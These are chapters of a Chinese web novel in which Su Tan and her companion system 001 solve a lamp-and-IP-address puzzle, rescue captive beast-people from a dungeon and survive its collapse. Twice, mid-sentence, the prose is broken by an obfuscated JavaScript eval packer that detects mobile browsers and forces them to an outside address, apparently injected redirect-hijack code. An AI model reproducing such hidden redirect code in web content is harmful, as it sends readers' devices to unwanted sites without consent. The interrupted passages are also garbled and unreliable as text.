红瞳兽人激动道。 “五十K就是一张五、一张十和一张K组成,每张牌代表不同的分值。同花色是正牌,不同花色是副牌……” “然后炸弹是四张点数相同的牌,你们都知道。规则上,五十K要比炸弹大……” …… 红瞳兽人讲完,洗牌到半途,突然捂住□□,示意道:“哎等我一下,今天喝水喝多了,我先去解个手,哈哈。” 他起身走了两步,解开裤子,一泡尿嗞到地上,膀胱瞬间得到释放。 “啊……舒服。” 红瞳兽人长声喟叹,十几秒后,系紧裤腰带回到牌桌。 黑暗中,无人注意到的地方,原本被烟头渐渐点燃的枯树枝,被一泡从天而降的倾盆鸟尿无声浇灭。 58. 世界三(18) 整个晚上苏昙睡得并不怎么舒服,早早便醒来。 不知什么时候,小鸦找到这里,安静地站在房梁上睡觉。苏昙正准备坐起来,发觉莱萩敞着肚皮,一只胳膊还搭在自己肚子上。 “这小狼怎么对谁都这么没有防备,怪不得会轻易让宾砾得手。” 苏昙有些无奈地想,轻轻把莱萩的胳膊挪开,听到识海里响起001的问候。 “睡得怎么样?” “还行,你呢?”苏昙伸个懒腰,站起来活动全身。 “也还行。”001缓缓出现在她面前,把两瓶水和一块葱花饼放到苏昙面前,“你这两天都没怎么吃东西,给你从食堂拿了个饼。至于这两瓶水,我看牢里的兽人状态太差,你可以把水分给他们。” 苏昙闻到饼的香味,好不容易忽略的饥饿感瞬间卷土重来。 她内心苦苦挣扎一番,毅然摆手坚定拒绝:“不行不行!这还有这么多兽人快饿死,我一个人享受心里实在过意不去。如果被他们发现,难免会觉得不平衡。” “再说,我现在可是动物的身体,动物在野外好几天吃不上饱饭是常有的事,没有那么脆弱。不过,谢谢你带的水,这点想得倒是和我一样。” 001直直地盯着她,幽幽道:“苏昙,你穿到狼兽人的身体里,还真当自己是只狼,以为自己能像他们那样,一天两天不用吃也不用喝?你明明会感觉到饿。” 苏昙有很长时间都没听人喊过她的真实名字,冷不防从001嘴里飘出来,竟有种做错事被抓包的幻觉。 001见她神色躲闪,继续淡定说道:“你不用有负担,是我强迫你吃的。” 苏昙拿他不达目的誓不罢休的态度没办法,垂眸避开他的目光,一把拿走还热乎的葱花饼,胡乱地应付道:“行行行,我吃还不行吗!果然男人年纪大了,就是容易变得婆婆妈妈!” 001:“……” 算了,随便她怎么说吧,反正又不是一次两次这样了。 他表情缓和,一边看着苏昙大口吃饼,一边说道:“我给你的两个打火机还带在身上吗?” “唔系不%&听%#……” 001侧耳:“你说什么?” 苏昙两只手拿着饼,指头上沾着油,嘴里还有一大口饼没嚼完,她放弃尝试说话,用眼神示意001自己去她腰间挎包里找。 001没有动作,迟疑道:“你确定?” 苏昙扬起下巴示意他快点动作。 001上前两步,和她离得越来越近,只剩下半臂距离。他个子很高,能完全把面前的人牢牢罩住。 苏昙偏过头,眼睛往下瞟了两下。 ——原来,他的手也这么好看。 仿佛一件艺术品,指骨修长流畅,手背上淡青色的血管微微凸起,肌肤白如凝脂,在地牢这么黑的地方还泛着淡淡的光泽,比那些挂在高墙上的灯还要吸引人的注意。 001的手探进包里。地牢太黑,打火机太小,他看不太清,只能来回摸索。 苏昙视线跟随的目标消失,她骤然回神,发觉自己刚刚的念头简直不要太过分! 她竟然觉得还没看够! 苏昙顿时几分不自在,回头也不是,转身也不是,干脆把眼闭上,大口解决葱花饼。 好在001很快找到,把两个打火机拿走:“为了避免火灾,这些间接因素都要杜绝。” “我知道。” 苏昙看他退后,赶紧正过身子,把最后的一点饼塞进肚子里。 “接着。”001又递过来一包东西。 “干什么?” 001见她如此防备,不觉好笑:“卫生纸,擦手。从你包里一起拿出来的。” “噢。谢谢。” 苏昙也不知道,001就递个纸,有什么好惊吓的。 她接过纸巾,仔细地擦净每一根手指,接着把垃圾包好装进挎包里。 “如果没什么事,你先回去忙吧。等会他俩醒了,我们继续去找出口。”她指指还在睡觉的莱萩和小鸦。 “好。如果有什么需要,及时喊我。” “嗯,放心。” 苏昙把那两瓶——与其说两瓶,更像是两桶水,提到桌上,先给自己倒了一杯解渴。 没过多久,小鸦先睡醒,飞到苏昙肩头讨水喝。几分钟后,许是动静有些大,莱萩也醒过来,不过她饥渴了太久,即便睡过一觉,也没有小鸦有活力。 苏昙也给她倒了一杯水:“等你喝完,我们去看看其他的兽人。” 莱萩有些担忧地问:“如果过了今天,我们还是没有找到出去的路,那明天宾砾来了该怎么办啊?” “一定能找到的。”苏昙望着房门,没有再说什么。 若真的找不到,那她就自己引开那四只黑鸢的注意,留出大门,让其他兽人从查克带她来时的路离开。 她作为宿主,应该没那么容易死掉。危急关头拼一拼、搏一搏,总能多些希望。 可那些兽人,一旦被交给盗猎者,不是被扒皮剥骨,就会被割肉买卖。大自然和生态环境不仅是那些动物兽人的家园,更是她的家、整个人类的家。她有义务尽到一份保护的责任。 苏昙深深吸气,把水桶和杯子收拾好,对莱萩说道:“相信我,也相信你们自己。” 她拎着水桶,身后还跟着小鸦和莱萩,给这一层关着的兽人分过水后,两人一鸟回到地牢一层。 今日那只雌性驼鹿已经醒过来,苏昙进到地牢右侧中间的房间,也给她倒了一杯水,又把水桶和小房间的门钥匙交给莱萩,让她和小鸦一起,去把剩下的水给其他兽人发了。 雌性驼鹿不敢靠近苏昙,两米多高的个子奄奄一息地蜷缩在角落里,紧紧盯着苏昙,不敢接她手里的杯子。 苏昙同样蹲下来,轻声把来意告知驼鹿。 “你说的……是真的吗?” “当然。说起来,前段时间我还在森丽里遇到了你的伴侣,他找不到你,很着急,希望你能平安回家。” “你见过他?!”驼鹿瞪大眼睛,几乎是喊着说出来,眼里蒙上一层薄薄的水雾。 苏昙点头,把杯子放到她面前的地上:“你现在很需要补充水分,不然怎么好好地回家找他?” “……”驼鹿有所动摇,缓缓说道,“我叫莉莉。那天是我们恋爱一周年纪念日,我一直在外收集花朵,对周围降低了警惕,宾砾故意在我附近留下一块兔肉。我正饿得厉害,刚好看到这块肉,想也没想便吃掉。结果没多久就感觉头晕脑涨,醒来后就在这了。” “如果我能再警醒一些……说不定就不会有这些糟心事了。” 说完,她迟疑地看着地上的杯子。 苏昙当着莉莉的面先喝了一口,说道:“我给你的水没有问题,你可以大胆喝。” 莉莉舔舔干裂的嘴唇,举杯一饮而尽,甘甜的水猛地冲淡了心里的苦涩。她缓了一会,身上终于有点劲,便站起来想要道谢。 “谢谢你——啊!” 莉莉捂着头,下意识看向刚刚不小心撞到的东西。苏昙也跟着她的目光,看到一个挂在墙壁上的led电池灯,外面套着一个罩子,下面还有一个灯托底座。 她看看灯,又看看地上角度发生变化的昏暗人影,上前询问道:“你没事吧?” 莉莉揉揉脑袋:“没事。” 她注意到苏昙用力踮起脚仰着头,正仔细地观察那盏灯。过了几秒,她有些不好意思地开口:“……那个,你若是看不清楚,我能帮你。”。 苏昙闻言,识趣地退后,高兴道:“当然可以,我刚刚看到这灯好像转了个角度,并不是固定在墙上的。只是牢里太暗,灯又挂得高,我实在看不清。” 莉莉走近灯盏,基本和灯平视。她凑近看了一会,说道:“这盏灯的后面有一个类似于齿轮的东西,是不是这个齿轮让灯转动的?” “大概率是的。还能看到什么吗?”苏昙拿出包里的本子和笔,借着微弱的光线记下莉莉的发现。 “还有……”莉莉凑得更近了,她微微弯腰,犹豫道,“好像是一串数字,有点长,我不知道该怎么念。” “有什么念什么就行。” “我看看……” 莉莉一边念,苏昙一边记。结束后,她看着纸上的一串数字,越瞧越觉得眼熟。 192.168.0.0/16。 好巧不巧,苏昙大学的专业是计算机,对这类数字要敏感一些。至于灯盏上的那串字——如果没错,这是一个路由项! 可是地牢里为什么会有类似IP地址的数字?难道这里有网络存在?或者说,地牢里有过人类的踪迹?苏昙心中顿生疑惑。 她让莉莉把灯扭回之前的位置,带着莉莉走出房间,拜托道:“地牢里一共有六盏灯,左侧三盏,右侧三盏,你能再帮我仔细检查每一盏吗?” “没问题!”莉莉很乐意能为苏昙做些什么,没想就答应了。 她从前到后,从左往右,依次观察每一盏灯,描述道:“左上的灯后面没有齿轮,这盏灯是固定的!灯托上的数字是……192.168.1.10。” “后面没有斜杠和数字了吗?”苏昙确定道。 莉莉摇头。 紧接着,她来到左侧中间的灯下:“这一盏有齿轮,数字是192.168.4.0/24。” …… 没多久,苏昙的本子上多出六串数字。整个地牢一层,只有左上的灯是固定的,且灯托底部的数字没有斜杠后的一部分。 她凝神思考片刻,拿起笔写写划划。写着写着,她蓦地出声道:“我知道哪盏灯有问题了。” 莉莉倍感惊讶,她以为要好一会才行,结果还不到两分钟。她又好奇又惊喜:“你怎么知道的呀?!” 苏昙:“这个……” 她虽然是对专业内容很熟悉,但猛地要和一个零基础的人讲解,一时也无从下手。 “……就是一道比较简单的基础题目,不过原理有些复杂,我一时半会也给你解释不明白。”苏昙直接指道,“是右上侧那盏灯。时间紧迫,我们先过去吧。” “好。”莉莉点头,跟随她来到对应的地方,轻轻转动灯盏。 一秒、两秒过去,地牢一层没有任何变化。 “怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603645|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么会没有动静呢……” 莉莉不解,小声嘀咕。 苏昙也觉得不应该毫无变化,准备去地牢二层看看。刚抬脚,便听到莱萩的声音,然后她的身影闯进视线。 莱萩手里还拎着空水桶,神情十分兴奋:“刚才我和小鸦在一层的洞口站,听到二层好像有什么声音,是你们刚刚做了什么吗?!” 苏昙眼睛一亮,立刻赶往地下二层。 二层依旧黑乎乎阴湿湿,唯一不同的是,这一层通道墙壁上出现一扇暗门,源源不断地吹进阵阵清爽的凉风。 小鸦飞到苏昙面前,朝门那边扇动翅膀,请示她让自己先去查看一番。 等待的间隙,莉莉告诉苏昙,她发现这一层的灯盏上,也有和本子上格式一样的数字串。苏昙借着这点时间,把六盏灯上的六串数字一个不漏全部记下。 刚刚记完,小鸦便从暗门后的暗道飞出来,不停地嘎嘎大叫,朝苏昙疯狂点头。 苏昙心里悬而未定的石头终于落地,看来这条通道的确通向出口。 她进入暗门走了一小段路,发现这条通道比想得要窄,竟然只能单向通行,外面的兽人没办法一下子进来,里面的兽人也不能一口去全部出去,最好分批进入,按序带回。 苏昙想了想,从本子上撕掉一页纸,写好一张纸条交给小鸦,快速清晰地指示道:“小鸦,你现在就去找莱斯和乔泽,把纸条送过去,让他们带着这些兽人的亲朋立刻来这里!” “莱萩、莉莉,我们把这里受伤严重的、昏迷未醒的兽人带到出口,方便交接。” “好!”两人异口同声道。 紧接着,莱萩又重重地叹了口气,愁眉苦脸地说:“……不过,他们的身体情况真的不容乐观。刚才我和小鸦给他们发水,意识清醒能自如活动的兽人,一只手都能数的过来。要知道,地牢两层加起来,一共有三十多只兽人!” “就算是一百只,我们也得照做不误。”苏昙没有丝毫犹豫,“现在开始吧。” 她拿过莱萩手里的钥匙,打开手边的房门,把一个仍在昏迷的马鹿兽人背到身上,送到暗门门口。 莱萩拉上莉莉:“那我们去一层,上面的门没关,能直接进去。” 交杂的脚步声过后,地牢内偶尔响起几句低声的交谈之语,很快又消失,重回安静,唯独留下两狼一鹿来往奔走的身影。 苏昙是所有兽人中状态最好的那个,她运送完二层的兽人,便来到一层给莱萩和莉莉帮忙。 有些兽人身形小,体重轻,背起来没什么困难;但有些兽人,甚至比莉莉还要高,体质却很虚弱,不知道怎么搞得一身伤,根本没办法自己站起来,只好由苏昙她们一起小心翼翼地抬着。 运完最后一个兽人,已经过去一个多小时,三人都累得快要虚脱。 苏昙拭掉额头的汗珠,清点一遍整齐排在门口的兽人,确认没有遗漏。 “——粟叶!” 一道颤抖的呼唤从暗门后面传来,紧接着跑出一个身影,苏昙还记得,他是粟叶的哥哥,粟枝。他飞奔到粟叶身边,忍不住哭出声:“幸好你还活着……幸好活着……我真的不知道该怎么办了……我吓得要死……” “我没事,哥哥。”粟叶虽是笑着安慰,眼里却闪烁莹莹泪光,这么长时间的害怕和委屈再也抑制不住,一股脑地爆发。 粟枝抹了一把鼻涕,紧紧抱住弟弟。 苏昙鼻头一酸,顿时觉得累一点也没什么。小鸦飞到她肩头,把爪子里抓的纸片交给她。 纸上歪七扭八地写着几句话,拼音汉字交替出现。读完之后,苏昙发现,整张纸上,只有尾缀的署名写得最工整——莱斯。 他告诉苏昙,宾砾前几天从查克那抢走银戒,昨天终于憋不住气,戴着银戒在月影族转悠一圈又一圈,炫耀不够似的。现在月影族里的兽人,都开始算着自己的小心思了。现在他和乔泽已经带着能找到的兽人亲朋来到出口处,为了以防万一,他和乔泽就在外守着。其他的就按她说的那样,分批进入,按序带回。 苏昙又读了两遍莱斯的消息,可算知道哪里逻辑不顺。莱斯怎么会知道宾砾在月影族做的事?难道他回到月影族了? 不过这些都不是眼下要思考的,光地牢里还有三十多个兽人等着出去。 她走到粟枝旁边,提醒道:“先把粟叶带出去吧,他身上还有伤没好,需要好好休息。况且后面还有兽人要来接应,需要保持通道的顺畅。” “我们这就走!”粟枝收拾好情绪,一把握住苏昙的手,用力地晃了晃,“真的,真的太感谢了,多亏有你们。” “都是小事。”苏昙讪笑,不动声色抽回自己的手。感激之情她心领了,可如果她没看错,粟枝刚刚用左手拧过鼻涕,手心残留的鼻涕甚至还没干,就这样蹭到了自己手上! 虽说她没什么洁癖,但实在做不到像兽人这样“不拘小节”的热情。 粟枝走后,出口处的兽人陆陆续续进来,或哭或笑,挨个领走了他们的亲朋。 慢慢地,地牢安静下来,就剩下苏昙和小鸦。 苏昙把手探向腰间挎包——她还剩一件事没有做完。 59. 世界三(19) 苏昙拿出记着二层灯盏上数字的本子,按照之前的解法,很快找出对应的那一盏灯。 她把房间的桌子推到灯下,踩上桌子,缓缓转动壁灯。眨眼的功夫,面前的墙壁豁然出现一道门。几秒后,这道门开始自动收缩,展露出背后的景象。 门背后的光线十分充足,与昏暗的地牢格格不入。 苏昙猝不及防被明亮的灯光晃了一下,眯眼看清里面的布局:这是一个单独的房间,安装有监控大屏、信号发射器、各种生命科学仪器,还有随处可见的厚厚的资料。只是那些机器已经落灰损坏,资料纸张也都发黄发旧。 ……这怎么越看越像一个废弃研究室?苏昙跳下桌子,进到房间里面。 她随手拿起一沓资料,眼神大致扫过首页,却猛地定住——[关于兽人社会化脱敏训练以及血缘关系对后代的行为影响]。 苏昙轻声念道:“通过修改兽人的β-315基因,同时注射新型的BDNF(脑源性神经营养因子)影响其大脑皮质层的发育,使之达到和人类一样的思维水平和行为方式,取代掉传统耗时的社会化规训,受试兽人能否在环境或同类中有脱颖而出的表现?” “我们暂且将这一实验举措叫做‘HOA’计划(humanizationofanimals),后续具体实施还需要时间验证。目前来看,志航实验室所得到的兽人试验体数目还远远不够样本容量……” 这是要用动物做兽体实验!苏昙攥着资料的指尖因为太过用力变得苍白,心中不寒而栗。究竟是谁在进行试验?这些试验经开始了吗?进行到一步了?成功还是失败? 轰! 一声巨响,苏昙脚下滑了个趔趄,房顶上抖落瀑布般的灰尘石块。 不好,地牢要塌了! 苏昙顾不上保存资料,手指下意识一松,这些纸张便摇摇晃晃散落得到处都是。 “过来,小鸦!”她一只胳膊护着头,一只胳膊揽过小鸦,把他抱在怀里。苏昙努力保持身体平衡,朝离得最近的角落跑去。 又是一声“轰隆”,房顶砸下一块锋利的铁片,狠狠地划在苏昙暴露在外的肩头,生生割出一道三寸长的伤口。鲜血找到皮肉绽开的缝隙,汩汩地从血管里冒出来,洇红一大片衣服。 地面本就在不停震颤,苏昙又受伤失力,双腿控制不住发软,一下子跌坐在地。 也许主神想要她置身的意外,不是火灾,而是现在突如其来的坍塌。 苏昙大脑一片空白。 她不知道为什么地牢会突然塌陷,也不知道该怎么把小鸦安全送出去,更不知道如何让自己死里逃生……周围腾飞的烟尘呛得她咳嗽不止,咳得双眼流泪,用力到肺都有些隐隐作痛。 她撑在地上的双手被碎石磨破,沾满灰尘的皮肤上露出丝丝红痕。 苏昙用力握紧拳头,紧咬牙关,把小鸦往怀里送了送,重新从地上爬起来,死死地盯着前方那张桌子形成的坚固而安全的小角落。 “——小心!” 一道惊呼在她身后响起,苏昙来不及回身去看,就被圈进一个温暖厚实的怀抱。 001在她头顶发出一声闷哼,搂着的双臂丝毫没有泄力。 “001?你没事吧?!” 苏昙吓了一大跳,慌乱紧张地询问。 那人没有说话,快速带着她躲到那个安全的角落,让她靠在自己身前。确定周围暂无危险后,才笑着缓缓回答:“……有点疼。” 十几秒前,他还在虚空之境,是苏昙心里强烈的恐惧告诉他里世界有危险。他赶过来时恰好看到一块房梁在她头顶掉落,情急之下,根本来不及思考,便将她护在怀里,那根房梁自然正中他的后背。 如果她现在能看到身后,那里是血肉模糊的一片伤口。 苏昙闻到满是尘土的空气中弥漫着浓浓的血腥味,不知道是她的还是001的,又或者两者都有。 她抬头瞧见001脸上安抚的笑,心里一阵紧缩刺痛。 “你不要命了吗?明知道有危险你还来?!”她忍不住冲他吼道。 001神情比苏昙要淡定地多,仿佛受重伤的不是自己:“如果我不来,你就会有危险。” “你是不是傻?我能自己跑过去,死不了!” “但我害怕。”001嘴唇渐渐失去血色,仍坚持道,“宿主在里世界丧命的不在少数。我是子系统,没那么容易死,最多就是受点伤。” 苏昙简直要气疯了:“你听不懂人话吗?我说我不需要你来!如果房梁再偏一点,砸到的不是你的背,而是你的头,你有想过后果吗?!” “……我不是人类。” 言外之意,就是他不赞同苏昙的话。 真是好样的。苏昙心里冷笑,别过头不再搭理他。 001好像意识到自己刚刚说错了话,却不知道该怎么补救,手足无措地安静下来。 几分钟后,第一波震颤停止,周围该塌的塌,该碎的碎,一片混乱——就像他此时此刻的心情。 他看着苏昙留给他的后脑勺,轻轻戳在她的肩膀,避开那里正在渐渐凝固的伤口,小心问道:“……你还疼吗?” “别碰我。”苏昙拍掉他的手指,头也不回地没好气道,“疼啊,快疼死了。” 001听出她是故意这么说,稍稍放下心,缓和气氛道:“伤的最重的明明是我,怎么感觉你才最难受的那一个,看着都快要哭出来了。” “?001,我真怀疑你是不是砸到脑子了。”苏昙转过身,认真注视着他,“看清楚了,我是被呛得太狠,咳出的眼泪。” 001倒真听进去,开始仔细观察她有些发红的眼睛,看到她眼里还有未消散尽的水雾,薄薄的一层,透着微光。 苏昙被他的盯的有些不自在,纳闷刚才为什么要当回事地给他解释这种事情,真是离谱。 她又在001怀里动了动,准备探身看看他伤势如何,头顶又传来一阵坍塌的动静。 “先别乱动。”001被她蹭得有些难受,隔着衣料的皮肤隐隐发烫。他缓缓地把苏昙的脑袋按回怀中,话里带上些警告的意味,“……我现在可不怎么好受。” 苏昙的身体猛地僵住。 她突然意识到,他们现在的距离未免太近! 不仅距离近,心跳也近,声声有力,相互交错;他们的呼吸也近,灼热而颤抖,不知是因为疼痛还是其他的原因。 “……哦。”苏昙避开他的目光,送给他一个冷冰冰的后脑勺,理直气壮地补上一句,“你以为我就好受么。” 001:“……” 习惯就好。他心里默念。 过了一会,余震的震感消失,一直被苏昙抱在怀里的小鸦动了动。 小鸦急切地扑扇翅膀,挣脱她的手臂,朝各种旁边堆积起来的石板房梁墙壁的缝隙钻进去,一溜烟不见了身影。 001:“他这是去哪?” “估计是去找莱斯和乔泽帮忙了。他们还在上面等着,不知道这里的情况。”苏昙想起什么,问道,“你觉得,这次坍塌会和主神有关系吗?” “据你们人类的数据统计,女性一生中发生致命意外的概率大约为万分之五,但意外一旦发生,就是百分之百……我们可以把这次坍塌的原因归结为主神故意为之,也可以简单地认为这只是一个年久未修的地牢突然塌陷的重大事故。” 苏昙心里涌起一股深深的无力感:“因为我们找不到主神在里世界的痕迹,对吗?” 001默认。 苏昙:“对了,我还有一件事想向你确认。我记得刚到这个里世界的时候,你告诉我维希所在的家族被敌对狼群追杀,才导致她和家人走散。后来,我就穿到她的身体里。” “没错。” “那她之前的经历呢?她曾经认不认识一只叫莱萩的小狼?” “这就是我感觉奇怪的地方,我看不清维希一年之前的记忆。” “你也看不清?” “还有谁也看不清吗?” “莱萩啊。我昨天和她聊天,她甚至记不得自己的父母叫什么,还觉得我、也就是维希很眼熟。” 001猜测:“也许她失忆了?” “可好端端的为什么会失去记忆?”苏昙不解。这时,她感觉有什么东西滴在额头上,伸手碰了碰,随口道,“哪来的水?” “……抱歉。” 苏昙:“?” 她侧身抬头,才发现他不知什么时候已经满头冷汗,汗珠越滚越大,不停从鬓角、鼻尖滑落,又滴到她的额头。 苏昙心里仿佛被掉落的汗珠狠狠烫了一下:“你一直都在疼吗?” “……” “说话啊。” 001不是不想说,而是不知道该怎么说。 虚空之境有一处地方叫忏心间,那是主神专门用来惩罚做错事的子系统用的。从忏心间出来的子系统,不死也要脱层皮。在001刚工作的几年,曾经惹怒过主神,被关进过那里一次。他觉得,背上的那点伤和忏心间里的折磨相比,根本不值一提。 “等会回去歇歇就行。”他缓缓说道。 “现在就回去。该上药上药,该休息休息。”苏昙强硬地推开他。 “但你还没出去——” 苏昙面无表情地看着他:“我再说一遍,现在就回去。” 两人陷入僵持。 然而这僵持还没有十秒,001便道:“好。” 苏昙瞧他并没有什么觉悟的表情,总觉得有些话必须要说出来。 她深呼吸,平静地开口:“001,你是答应过我要保证我的安全,在里世界帮我。但这做这些事的前提,是先确保自己不要随随便便就受伤。对于一个连自己的身体情况都不放在心里的伙伴,我很难把全部的信任交付给他。你能听懂吗?” 伙伴。这就是自己在她心里的称呼和位置。001半垂眼睫,盖住隐晦眸色,嘴角露出淡笑:“……嗯,我明白。” 苏昙看不清他眼底的情绪,也不知道他到底有没有真的听懂。她张了张嘴,最后道:“那你好好休息。” “好……还有你的伤口,回去了记得清洗上药,缺什么随时和我说……回见。” 话落,001便在她背后消失,整片废墟不知第几次重新安静下来。 只有苏昙身后残留的余温提醒她,刚刚有人来过。她有些疲惫地闭上眼,迟钝地感受到肩膀的疼痛。 …… 两小时后。 “我闻到维希身上的气味了,在这!” 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610891|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道模糊的声音钻过苏昙头顶的废砖烂瓦的缝隙,飘进她的耳朵。 苏昙振作精神,清了清嗓子,高声道:“我在下面!” 紧接着,上方响起一阵骚动,有脚步声,有谈话声,也有挪动石块砖瓦的声音。 等光透进来的时间比苏昙预计得要短得多,还不到十分钟,头顶的一块巨石被移走,外面温暖的阳光倾洒在她身上,小鸦迫不及待地从挖出的洞口飞到她身边,确认她的状态。 苏昙闭上眼适应了一会才睁开眼,抬起头却看到洞口旁边站了乌压压一群兽人——莱斯、乔泽、莱萩、莉莉、粟叶兄弟、还有其他所有被掳的兽人和他们的亲朋,全都争着加入搬理坍塌地牢废墟、寻找苏昙的队伍,没有一个主动离开。 “维希!你没事吧?”莱萩小心翼翼地踩着她们挖出的斜坡,拿着绳子下来接应苏昙。 “没事。” 苏昙钻出桌底,看到绳子愣了几秒,而后又接过来,把绳子绑到腰间。 莱萩牵住她的手说道:“系紧一点,上面会有人把我们拽上去。” 苏昙有些紧张,手心不受控制地冒出薄汗。所幸,糟糕的记忆没有重现,她和莱萩安全地回到了地面。 “上来了上来了!”一群兽人呼啦围上来,争先恐后地关心慰问苏昙。 苏昙脑袋瓜子顿时嗡嗡地叫起来,一时间不知道要先回答谁。 她往旁边挪了两步,朝站在身边的莱斯和乔泽使了个眼色,又摆手示意道:“感谢你们的帮助,我没事,真的没事!现在赶紧带着自己的亲人朋友回家休息吧!” 几番推拉过后,这些兽人才渐渐息声离开,只剩下几个熟悉的面庞。 莱斯皱着眉走上前,指着苏昙的肩膀:“你受伤了?” “都是小——”苏昙转而想起什么,拖长了声音,张望道,“小莱萩在哪呢?” “这!”莱萩跑到苏昙面前,向她挥挥手。 “你还没走啊。你不是要回月影族吗,正好,我们一起吧。” “好啊!”莱萩兴奋地说,“我妈妈说,月影族里有一位叫凌冉的阿姨,她肯定能认出我!” “什么?!”莱斯一把拽住莱萩的胳膊,干巴巴地问,“你妈妈说月影族里有一个叫凌冉的兽人?你妈妈叫什么?!” 苏昙也没想到,莱萩嘴里的那个“家里的Ta”,不是‘他’,而是‘她’。 莱萩委屈地撇嘴,挣开他的手:“你是谁啊,弄疼我了。” “我还想问你是谁呢?!” 莱斯早就发现这个小狼长得和自己几乎一模一样,就是看着又呆又傻,让人心里来气。 苏昙把莱萩拉走,瞪了莱斯一眼:“你凶什么,她都还没成年。” 莱斯不满地嗤了一声,不再说话。 “不过,你要是跟我们一起回月影族,说不定就能弄明白到底怎么回事。”苏昙随口提出建议,仿佛这是极为平常的一个想法。 乔泽倒是个心眼通透的,立刻听出她的言外之意,附和道:“看看这事弄的。我待会要去见一个朋友,不能把小希你送回月影族了。但你又受了伤,一个人回去我实在不放心,怎么办啊……” 苏昙故作轻松地笑笑:“没事,不是还有莱萩和小鸦么。” 莱斯神情微妙,盯着远处的灌木丛,明显是一副心不在草的模样。他们一只是乳臭未干的小狼,一只是连人形还不能随意变换的乌鸦,如果再有危险,能顶什么用? 莱斯勉为其难道:“我去。” 苏昙:“请注意文明用语。” 莱斯嘴角抽搐,又重复了一遍:“我说,我和你们回去。” “啊,那真是太好了,我们现在就走吧!” 苏昙脸上哪还有故作坚强的神色,她愉快地牵起莱萩的手朝月影族出发。 * 两个半小时前,地牢大门外。 四只熟睡的黑鸢是被地牢里面突如其来的一阵震颤颠醒的。 等他们反应过来,地牢的大门已经塌成石块,碎得彻彻底底。 “塌、塌了!快跑啊!” 红瞳兽人吓得口水都没来得及擦,拼命地拉上另外三个,连爬带飞地从树洞的通道飞出去。 飞出去了,红瞳兽人才意识到,他们刚刚只顾着逃命,忘记地牢里的几十个兽人还在里面。 红瞳兽人:“反正现在也进不去,我们先去找宾砾吧,他还不知道这的情况。” “可以是可以,但……月影族怎么走?” “我不知道啊,看我看什么,我脸上又没地图。” “那个……我印象也不是很深。” 红瞳兽人万分绝望,他拎出那个“印象不深”的黑鸢,让他先带路再说。 等他们七拐八绕地飞到月影族,已经过去三个小时,碰巧宾砾就在族里活动,他们又七嘴八舌地向宾砾描述了地牢的坍塌。 “你们几个可真是好样的,一群吃白饭的白痴!” 宾砾得知地牢出事,翻着白眼唾骂一声,飞奔向地牢。 然而,当他跑到那,只看到一个黑乎乎的洞口,延伸向地下荒凉的废墟。别说那些关着的兽人,就是一只兔子,也得被压成肉泥。 明天就是交货的日子,宾砾看着脚下的地牢残骸,脱力地瘫倒在地。 60. 世界三(20) 苏昙手上牵着莱萩,头上飞着小鸦,身后跟着莱斯,三狼一鸟一起回到了月影族,暂时进了凌冉的房间。 凌冉不敢相信自己的眼睛:“莱斯?” “……嗯。” 凌冉握着门把,怔怔地看着门口的那个高挑的兽人,一时间不知道说些什么。她从来没想过会有再次和他见面的一天。 她眼眶湿润,哈哈大笑几声掩饰内心的波动,说道:“我也没来得及准备什么,你随便,别客气。” “好。” 莱斯感受着胸腔里心脏有力的跳动,他体内逐渐沸腾的血液先比他认出家的气息。其实从刚刚进入月影族的那一刻,他便开始变得慌乱,现在更是紧张到身体僵硬。 原来重新回家是这样熟悉而陌生的感觉。 莱斯对凌冉露出回应的礼貌微笑,坐到最里面的凳子上,示意她先看看苏昙的情况。 凌冉的目光落到灰头土脸的苏昙身上,忍不住惊道:“我的天!你怎么搞的一身伤?快坐下,我给你处理一下。” “地牢突然塌了,我没来得及跑出去,被困到了废墟下面。不过那些被掳的兽人都提前救走了,没有其他人受伤。” 苏昙乖巧地坐在她身边。 凌冉翻出药箱,慢慢褪下苏昙肩头破烂的衣裳,毫不留情地轻叱:“你这伤口,要是再划得深些,就要伤到骨头了。” “这不是没事嘛。”苏昙抿嘴浅笑,转移话题道,“我回来的时候没有看到宾砾,他去哪了?我还得把银戒拿回来呢。” “不知道。”凌冉眼神没有离开伤口,手上动作轻缓温柔,“不过银戒的事已经解决了。” “解决了?什么时候的事?”苏昙好奇地扭了扭身子,冷不防牵扯到伤口,瞬间疼得她倒吸一口凉气。 “还没好呢,别动。”凌冉把她按回去,“就昨天的事。宾砾出去洗澡的时候,我暗中找其他兽人把银戒替换了,他现在戴的那个,是赝品。” “……厉害。”苏昙不禁感叹,果然大佬一出手,就知有没有。这不,她要操心的事又少了一件。 凌冉扬起下巴:“所以,她又是谁?” 苏昙顺着凌冉视线看去,熟络介绍道:“哦,她叫莱萩。据我个人猜测,她极有可能是洛娜的女儿。” 凌冉上药的手顿住:“……怎么可能?洛娜只受孕过一次,而且那一次……只有莱斯活下来了。” “怎么不可能。你仔细看,她和莱斯长得多像。”苏昙把莱萩在地牢给她说的话大致转述一遍。 凌冉认真望向一旁低头发呆的小狼。 他们确实像,太像了。 一般来说,杂种狼都有蓝瞳、垂耳等共同的特征。但有血缘关系的杂种狼,会有特别的区分标识。比如说,莱斯和莱萩的脖颈处,都有一缕白色的毛发。 如果不是巧合,那就是有某种未知的关系。 